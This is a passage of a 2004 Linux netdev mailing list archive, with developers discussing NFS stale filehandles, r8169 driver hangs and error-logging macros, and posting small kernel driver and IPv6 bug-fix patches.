<20040117184716.GX1748@srv-lnx2600.matchmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040117184716.GX1748@srv-lnx2600.matchmail.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 2641 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mfedyk@matchmail.com Precedence: bulk X-list: netdev On Sat, Jan 17, 2004 at 10:47:16AM -0800, Mike Fedyk wrote: > On Fri, Jan 16, 2004 at 10:55:04AM -0800, Mike Fedyk wrote: > > On Fri, Jan 16, 2004 at 10:40:31AM -0800, Mike Fedyk wrote: > > > I only had a few nfs clients doing light load, (kde home directories, and > > > such) and was able to reproduce stale nfs file handles just by running "find > > > > /dev/null" on the nfs share. > > > > > > Have you tried the -mm tree recently? 2.6.1-mm4 even has some new nfsd > > > patches in there (maybe you should wait until -mm5 though, there are a few > > > > Stale filehandles is the main problem right now, and I don't see how > > nfs_raname would be related (just that it was there while I was having > > trouble with the stale file handles...) > > > > http://www.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.1/2.6.1-mm4/broken-out/nfsd-01-stale-filehandles-fixes.patch > > > > This one looks particularly interesting... > > > > I'm running 2.6.1-bk2-nfs-stale-file-handles on my nfsd server now, and so > far I haven't seen any stale filehandles. > > Can you guys patch stock 2.6.1 with the above and test also so we can get > more breadth in the testing results? > Well, it's been running since friday with the same load that killed it in less than a day, so I'm happy. And BTW, the code has been merged by Linus and is in 2.6.1-bk6. Mike From romieu@fr.zoreil.com Tue Jan 20 12:56:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 12:56:18 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0KKtxmK026967 for ; Tue, 20 Jan 2004 12:56:00 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0KKqXgf009949; Tue, 20 Jan 2004 21:52:33 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0KKqVb3009948; Tue, 20 Jan 2004 21:52:31 +0100 Date: Tue, 20 Jan 2004 21:52:30 +0100 From: Francois Romieu To: Srihari Vijayaraghavan Cc: netdev@oss.sgi.com Subject: Re: [PROBLEM] r8169 deadlocks Message-ID: <20040120215230.A8935@electric-eye.fr.zoreil.com> References: <200401152039.00182.harisri@bigpond.com> <200401192251.41323.harisri@bigpond.com> <20040120002422.A19029@electric-eye.fr.zoreil.com> <200401202150.12892.harisri@bigpond.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200401202150.12892.harisri@bigpond.com>; from harisri@bigpond.com on Tue, Jan 20, 2004 at 09:50:12PM +1100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2642 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Srihari Vijayaraghavan : > On Tuesday 20 January 2004 10:24, Francois Romieu wrote: [...] > cd /usr/local/src > tar xfj /media/cdrecorder/v2.6/linux-2.6.0.tar.bz2 > cd linux-2.6.0 > bunzip2 -c /media/cdrecorder/v2.6/patch-2.6.1.bz2 |patch -p1 > bunzip2 -c ~/linux/patch-2.6.1-bk2.bz2 |patch -p1 > bunzip2 -c ~/linux/2.6.1-bk1-netdev4.patch.bz2 |patch -p1 > patch -p1 --dry-run < ~/linux/r8169/r8169-tx-index-overflow.patch > patching file drivers/net/r8169.c > Hunk #1 succeeded at 1341 (offset 364 lines). > Hunk #2 FAILED at 1351. > Hunk #3 succeeded at 1365 with fuzz 1 (offset 367 lines). > 1 out of 3 hunks FAILED -- saving rejects to file drivers/net/r8169.c.rej $ cat>foo< In this very thread you mentioned (in which you did not cc me BTW :-) that > welcomed AMD64-RTL8169 users, that gave me an idea. I tested this computer I did :o) ----- The following addresses had permanent fatal errors ----- (reason: 554 recipient exceeds mailbox storage quota) > under 32 bit kernel (vanilla Fedora + 2.6.1-mm4) in which it survives my > torture test (I have verified for no more than 5 minutes though, but then it > does not survive for more than 5 secs under the 64 bit kernel). Point taken. -- Ueimor From jkenisto@us.ibm.com Tue Jan 20 15:12:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 15:12:51 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0KNCPmK030911 for ; Tue, 20 Jan 2004 15:12:32 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0KNB0Rg029708; Tue, 20 Jan 2004 18:11:10 -0500 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0KNAl3i099474; Tue, 20 Jan 2004 16:10:48 -0700 Message-ID: <400DB46D.67E852D9@us.ibm.com> Date: Tue, 20 Jan 2004 15:06:21 -0800 From: Jim Keniston X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Rask Ingemann Lambertsen CC: LKML , netdev , Jeff Garzik , Andrew Morton , "Feldman, Scott" , Larry Kessler Subject: Re: [PATCH 2.6.1] Net device error logging References: <400C3D3E.BFCC25CE@us.ibm.com> <20040120195122.A1087@sygehus.dk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2643 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkenisto@us.ibm.com Precedence: bulk X-list: netdev Rask Ingemann Lambertsen wrote: > > On Mon, Jan 19, 2004 at 12:25:34PM -0800, Jim Keniston wrote: > > The enclosed patch implements the netdev_* error-logging macros for > > network drivers. These macros have been discussed at length on the > > linux-kernel and linux-netdev lists. All issues that reviewers have > > raised were addressed previously. This is just an update for v2.6.1. > > How about a message rate limit? > > -- > Regards, > Rask Ingemann Lambertsen Thanks. We considered adding a ratelimit flag to the netdev_printk arg list. It was pointed out that (1) rate-limiting is necessary for a relatively small subset of messages; and (2) the NETIF_MSG_* flags are already designed to be used in order of increasing verbosity. If the user selects the more verbose class of messages, then rate-limiting may not be appropriate. I concluded that ratelimit() should continue to be used on a case-by-case basis, and not folded into netdev_printk. Jim Keniston From jkenisto@us.ibm.com Tue Jan 20 15:25:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 15:25:51 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0KNPRmK031532 for ; Tue, 20 Jan 2004 15:25:33 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0KNO6Rg182344; Tue, 20 Jan 2004 18:24:17 -0500 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0KNNspx077338; Tue, 20 Jan 2004 16:23:55 -0700 Message-ID: <400DB781.4229A084@us.ibm.com> Date: Tue, 20 Jan 2004 15:19:29 -0800 From: Jim Keniston X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Andrew Morton CC: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, jgarzik@pobox.com, scott.feldman@intel.com, kessler@us.ibm.com Subject: Re: [PATCH 2.6.1] Net device error logging References: <400C3D3E.BFCC25CE@us.ibm.com> <20040119184630.5d066735.akpm@osdl.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2644 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkenisto@us.ibm.com Precedence: bulk X-list: netdev Andrew Morton wrote: > > Jim Keniston wrote: > > > > The enclosed patch implements the netdev_* error-logging macros for > > network drivers. > > Looks OK to me. > > But it does make one wonder whether we'll soon see standalone patches for > scsi_printk(), pci_bridge_printk(), random_other_subsystem_printk(), ...? Well, there is indeed sdev_printk for the SCSI mid-layer and low-level drivers. Dan Stekloff posted an updated patch for this on linux-scsi yesterday. When Alan Cox suggested dev_printk, it was with the idea that other subsystems might have similar macros. Although I don't know of other such macros in the works, I wouldn't rule them out. > > Or is it intended that the backend logging code will be implemented mainly > in terms of the `struct device'? So netdev_printk() will be a bit of > netdev-specific boilerplate which then calls into a more generic > device_printk()? I think dev_printk will work just fine for drivers where [driver name + bus ID] is the appropriate message tag. Where that's not the case, other macros emerge. (For example, for net devices you want the interface name, and for SCSI devices the SCSI bus ID is more interesting than the PCI bus ID.) Another thing to consider is whether, for the subsystem in question, some other struct pointer (e.g., struct net_device* or struct scsi_device*) might prove more useful in the future than the struct device pointer. I.e., such pointers could be used to get at the struct device AND other subsystem-specific info. Also, there are also situations where there is no underlying struct device (e.g., some upper-level network drivers) or the driver is not yet defined (e.g., during a SCSI scan). Jim Keniston From shemminger@osdl.org Tue Jan 20 16:23:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 16:23:16 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0L0N2mK003784 for ; Tue, 20 Jan 2004 16:23:02 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0L0Mpo04442; Tue, 20 Jan 2004 16:22:51 -0800 Date: Tue, 20 Jan 2004 16:22:51 -0800 From: Stephen Hemminger To: Jeff Garzik , Paul Gortmaker Cc: netdev@oss.sgi.com Subject: [PATCH 2.6.1] Allow pcnet_cs to work with shared irq Message-Id: <20040120162251.291a0e39.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2645 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On some laptops, the pcmcia card shares an irq with other things like the serial or irda ports. The pcnet_cs driver did not correctly handle shared interrupts, this fixes it for me. ei_interrupt now returns IRQ_HANDLED if some frames have been serviced, and the wrapper routine propagates the error code. diff -Nru a/drivers/net/8390.c b/drivers/net/8390.c --- a/drivers/net/8390.c Tue Jan 20 16:21:00 2004 +++ b/drivers/net/8390.c Tue Jan 20 16:21:00 2004 @@ -520,7 +520,7 @@ } } spin_unlock(&ei_local->page_lock); - return IRQ_HANDLED; + return IRQ_RETVAL(nr_serviced > 0); } /** diff -Nru a/drivers/net/pcmcia/pcnet_cs.c b/drivers/net/pcmcia/pcnet_cs.c --- a/drivers/net/pcmcia/pcnet_cs.c Tue Jan 20 16:21:00 2004 +++ b/drivers/net/pcmcia/pcnet_cs.c Tue Jan 20 16:21:00 2004 @@ -1193,10 +1193,11 @@ static irqreturn_t ei_irq_wrapper(int irq, void *dev_id, struct pt_regs *regs) { pcnet_dev_t *info = dev_id; - info->stale = 0; - ei_interrupt(irq, dev_id, regs); - /* FIXME! Was it really ours? */ - return IRQ_HANDLED; + irqreturn_t ret = ei_interrupt(irq, dev_id, regs); + + if (ret == IRQ_HANDLED) + info->stale = 0; + return ret; } static void ei_watchdog(u_long arg) From chas@cmf.nrl.navy.mil Tue Jan 20 17:24:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 17:24:58 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0L1OimK006226 for ; Tue, 20 Jan 2004 17:24:44 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i0L1OZRr014516; Tue, 20 Jan 2004 20:24:36 -0500 (EST) Message-Id: <200401210124.i0L1OZRr014516@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com, "Randy.Dunlap" , Daniele Venzano Subject: [PATCH][ATM]: [horizon] avoid warning about limited range of data type Reply-To: chas3@users.sourceforge.net Date: Tue, 20 Jan 2004 20:24:37 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2646 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev this patch fixes the horizon driver so that it will compile without a warning. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1389 -> 1.1390 # drivers/atm/horizon.c 1.4 -> 1.5 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/20 chas@relax.cmf.nrl.navy.mil 1.1390 # [ATM]: [horizon] avoid warning about limited range of data type # -------------------------------------------- # diff -Nru a/drivers/atm/horizon.c b/drivers/atm/horizon.c --- a/drivers/atm/horizon.c Tue Jan 20 19:57:59 2004 +++ b/drivers/atm/horizon.c Tue Jan 20 19:57:59 2004 @@ -359,8 +359,8 @@ static unsigned short debug = 0; static unsigned short vpi_bits = 0; -static unsigned short max_tx_size = 9000; -static unsigned short max_rx_size = 9000; +static int max_tx_size = 9000; +static int max_rx_size = 9000; static unsigned char pci_lat = 0; /********** access functions **********/ @@ -2919,11 +2919,11 @@ PRINTK (KERN_ERR, "vpi_bits has been limited to %hu", vpi_bits = HRZ_MAX_VPI); - if (max_tx_size > TX_AAL5_LIMIT) + if (max_tx_size < 0 || max_tx_size > TX_AAL5_LIMIT) PRINTK (KERN_NOTICE, "max_tx_size has been limited to %hu", max_tx_size = TX_AAL5_LIMIT); - if (max_rx_size > RX_AAL5_LIMIT) + if (max_rx_size < 0 || max_rx_size > RX_AAL5_LIMIT) PRINTK (KERN_NOTICE, "max_rx_size has been limited to %hu", max_rx_size = RX_AAL5_LIMIT); @@ -2938,8 +2938,8 @@ MODULE_LICENSE("GPL"); MODULE_PARM(debug, "h"); MODULE_PARM(vpi_bits, "h"); -MODULE_PARM(max_tx_size, "h"); -MODULE_PARM(max_rx_size, "h"); +MODULE_PARM(max_tx_size, "i"); +MODULE_PARM(max_rx_size, "i"); MODULE_PARM(pci_lat, "b"); MODULE_PARM_DESC(debug, "debug bitmap, see .h file"); MODULE_PARM_DESC(vpi_bits, "number of bits (0..4) to allocate to VPIs"); From yoshfuji@linux-ipv6.org Tue Jan 20 18:29:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 20 Jan 2004 18:30:14 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0L2TumK008059 for ; Tue, 20 Jan 2004 18:29:57 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id D59DD33CA5; Wed, 21 Jan 2004 11:30:29 +0900 (JST) Date: Wed, 21 Jan 2004 11:30:29 +0900 (JST) Message-Id: <20040121.113029.39883350.yoshfuji@linux-ipv6.org> To: shemminger@osdl.org Cc: davem@redhat.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPV6: add missing sentinel for addrconf procfs From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040120104820.77ff135f.shemminger@osdl.org> References: <20040120.094223.76534381.yoshfuji@linux-ipv6.org> <20040120104820.77ff135f.shemminger@osdl.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2647 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040120104820.77ff135f.shemminger@osdl.org> (at Tue, 20 Jan 2004 10:48:20 -0800), Stephen Hemminger says: > > Sorry, I forgot to increase the number of members in the array and > > that the sentinel was removed. > > So, add missing sentinel explicitly. > > How about adding all them explicitly to prevent future errors? agreed. --yoshfuji From jes@trained-monkey.org Wed Jan 21 00:36:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 00:36:34 -0800 (PST) Received: from jaguar.mkp.net (jaguar.mkp.net [192.139.46.146]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0L8aKmK023110 for ; Wed, 21 Jan 2004 00:36:21 -0800 Received: from jes by jaguar.mkp.net with local (Exim 3.35 #1) id 1AjDqT-0005y6-00; Wed, 21 Jan 2004 03:36:17 -0500 To: Christoph Hellwig Cc: netdev@oss.sgi.com Subject: Re: [PATCH] kill ancient compat cruft from acenic References: <20040120141717.GA7549@lst.de> From: Jes Sorensen Date: 21 Jan 2004 03:36:17 -0500 In-Reply-To: <20040120141717.GA7549@lst.de> Message-ID: Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 2648 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jes@wildopensource.com Precedence: bulk X-list: netdev >>>>> "Christoph" == Christoph Hellwig writes: Christoph> This kills all the cruft needed for supporting anything Christoph> other than halfway recent 2.4 and 2.6 kernels. Should make Christoph> converting to the pci hotplug APIs much easier. Looks pretty decent, are you sure the MOD_INC_USE_COUNT isn't needed for 2.4.18+ ? (no I haven't checked). Other than that I am fine with the patch. Cheers, Jes From harisri@bigpond.com Wed Jan 21 02:14:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 02:14:58 -0800 (PST) Received: from gizmo05ps.bigpond.com (gizmo05ps.bigpond.com [144.140.71.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LAEgmK025449 for ; Wed, 21 Jan 2004 02:14:43 -0800 Received: (qmail 17686 invoked from network); 21 Jan 2004 10:07:00 -0000 Received: from unknown (HELO psmam04.bigpond.com) (144.135.25.78) by gizmo05ps.bigpond.com with SMTP; 21 Jan 2004 10:07:00 -0000 Received: from 144.138.164.235 ([144.138.164.235]) by psmam04.bigpond.com(MAM REL_3_4_2 92/32018338) with SMTP id 32018338; Wed, 21 Jan 2004 20:14:34 +1000 From: Srihari Vijayaraghavan To: Francois Romieu Subject: Re: [PROBLEM] r8169 deadlocks Date: Wed, 21 Jan 2004 21:15:44 +1100 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com References: <200401152039.00182.harisri@bigpond.com> <200401202150.12892.harisri@bigpond.com> <20040120215230.A8935@electric-eye.fr.zoreil.com> In-Reply-To: <20040120215230.A8935@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401212115.45027.harisri@bigpond.com> X-archive-position: 2649 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: harisri@bigpond.com Precedence: bulk X-list: netdev Hello Francois, On Wednesday 21 January 2004 07:52, Francois Romieu wrote: > [snip] > $ cat>foo< tar jxf linux-2.6.0.tar.bz2 > bunzip2 -c patch-2.6.1.bz2 | patch -p1 -d linux-2.6.0 > bunzip2 -c patch-2.6.1-bk2.bz2 | patch -p1 -d linux-2.6.0 > bunzip2 -c 2.6.1-bk1-netdev4.patch.bz2 | patch -p1 -d linux-2.6.0 > wget > http://www.fr.zoreil.com/people/francois/misc/r8169-tx-index-overflow.patch > EOD > $ sh foo > [...] > $ patch -p1 -d linux-2.6.0 < r8169-tx-index-overflow.patch > patching file drivers/net/r8169.c > > Okay... > > $ md5sum r8169-tx-index-overflow.patch > 99b2f5886d6bf1d4df0f7553bb5bef57 r8169-tx-index-overflow.patch > > [...] Must be my mistake. Thanks for verifying things. > I did :o) > > ----- The following addresses had permanent fatal errors ----- > > (reason: 554 recipient exceeds mailbox storage > quota) :-) I apologies for that. God save me from the Spammers! > > under 32 bit kernel (vanilla Fedora + 2.6.1-mm4) in which it survives my > > torture test (I have verified for no more than 5 minutes though, but then > > it does not survive for more than 5 secs under the 64 bit kernel). > > Point taken. I have a good news: I checked out things as usual under vanilla linux-2.6.2-rc1, and to my surprise Kernel does not hang anymore :-). (although Tx counter not incrementing is altogether another problem). If you want me to I can test your r8169-tc-index-overflow.patch. Thanks Hari From hch@lst.de Wed Jan 21 02:19:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 02:19:40 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LAJQmK025914 for ; Wed, 21 Jan 2004 02:19:26 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0L9lEe6020450 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 21 Jan 2004 10:47:14 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i0L9lEfj020448; Wed, 21 Jan 2004 10:47:14 +0100 Date: Wed, 21 Jan 2004 10:47:14 +0100 From: Christoph Hellwig To: Jes Sorensen Cc: netdev@oss.sgi.com Subject: Re: [PATCH] kill ancient compat cruft from acenic Message-ID: <20040121094714.GA20425@lst.de> References: <20040120141717.GA7549@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 2650 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev On Wed, Jan 21, 2004 at 03:36:17AM -0500, Jes Sorensen wrote: > >>>>> "Christoph" == Christoph Hellwig writes: > > Christoph> This kills all the cruft needed for supporting anything > Christoph> other than halfway recent 2.4 and 2.6 kernels. Should make > Christoph> converting to the pci hotplug APIs much easier. > > Looks pretty decent, are you sure the MOD_INC_USE_COUNT isn't needed > for 2.4.18+ ? (no I haven't checked). Yes, 2.4 already has the owner field in struct net_device. From vnuorval@tcs.hut.fi Wed Jan 21 07:36:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 07:36:55 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LFaUmK010427 for ; Wed, 21 Jan 2004 07:36:30 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id BD7998000AE; Wed, 21 Jan 2004 17:03:08 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0LF387Y029822; Wed, 21 Jan 2004 17:03:08 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0LF37xL029818; Wed, 21 Jan 2004 17:03:07 +0200 Date: Wed, 21 Jan 2004 17:03:07 +0200 (EET) From: Ville Nuorvala To: davem@redhat.com, Andreas Jellinghaus Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: [PATCH] IPv6: fix saddr checking bug in datagram_send_ctl() In-Reply-To: <1074683199.1172.26.camel@simulacron> Message-ID: References: <1074683199.1172.26.camel@simulacron> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2651 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Hi Dave, I'm sorry, a bug had slipped into my link-local checking patch, which Andreas noticed. Here is the fix. Thanks, Ville ===== net/ipv6/datagram.c 1.12 vs edited ===== --- 1.12/net/ipv6/datagram.c Tue Jan 20 07:37:47 2004 +++ edited/net/ipv6/datagram.c Wed Jan 21 16:55:39 2004 @@ -295,7 +295,7 @@ addr_type = ipv6_addr_type(&src_info->ipi6_addr); - if (ipv6_addr_type == IPV6_ADDR_ANY) + if (addr_type == IPV6_ADDR_ANY) break; if (addr_type & IPV6_ADDR_LINKLOCAL) { -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From ak@suse.de Wed Jan 21 09:36:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 09:36:25 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LHaAmK019583 for ; Wed, 21 Jan 2004 09:36:11 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 3548174581; Wed, 21 Jan 2004 18:36:04 +0100 (CET) Date: Wed, 21 Jan 2004 18:36:02 +0100 From: Andi Kleen To: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Fw: Re: Link error with linux-2.5 bk Message-Id: <20040121183602.51901b87.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2652 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Forgot to set correct cc originally. Begin forwarded message: Date: Wed, 21 Jan 2004 18:20:19 +0100 From: Andi Kleen To: "Luck, Tony" Cc: mort@wildopensource.com, linux-ia64@vger.kernel.org Subject: Re: Link error with linux-2.5 bk On Wed, 21 Jan 2004 08:55:19 -0800 "Luck, Tony" wrote: > > LD .tmp_vmlinux1 > > local symbol 0: discarded in section `.exit.text' from drivers/built-in.o > > My money is on this change to drivers/net/dummy.c (clipped from diff > between bk3 and bk4 trees). "dummy_free_one()" is marked as __exit (so > we'll try to discard it), but it is called by dummy_init_module(). > > Dropping the "__exit" will fix it (but there may be other fixes). Copying > Andi Kleen, as according to BitKeeper he appears to be the author of this > change. Yep, the __exit is wrong. Thanks, Tony. Jeff, can you apply this patch, please? It should fix compiling in of the dummy device. Thanks. -Andi --- linux-2.6.2rc1-amd64/drivers/net/dummy.c-o 2004-01-21 15:52:42.000000000 +0100 +++ linux-2.6.2rc1-amd64/drivers/net/dummy.c 2004-01-21 18:19:05.000000000 +0100 @@ -112,7 +112,7 @@ return err; } -static void __exit dummy_free_one(int index) +static void dummy_free_one(int index) { unregister_netdev(dummies[index]); free_netdev(dummies[index]); From xma@us.ibm.com Wed Jan 21 11:47:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 21 Jan 2004 11:47:29 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0LJl7mK029158 for ; Wed, 21 Jan 2004 11:47:16 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0LJjio1329364; Wed, 21 Jan 2004 14:45:54 -0500 Received: from d03nm124.boulder.ibm.com 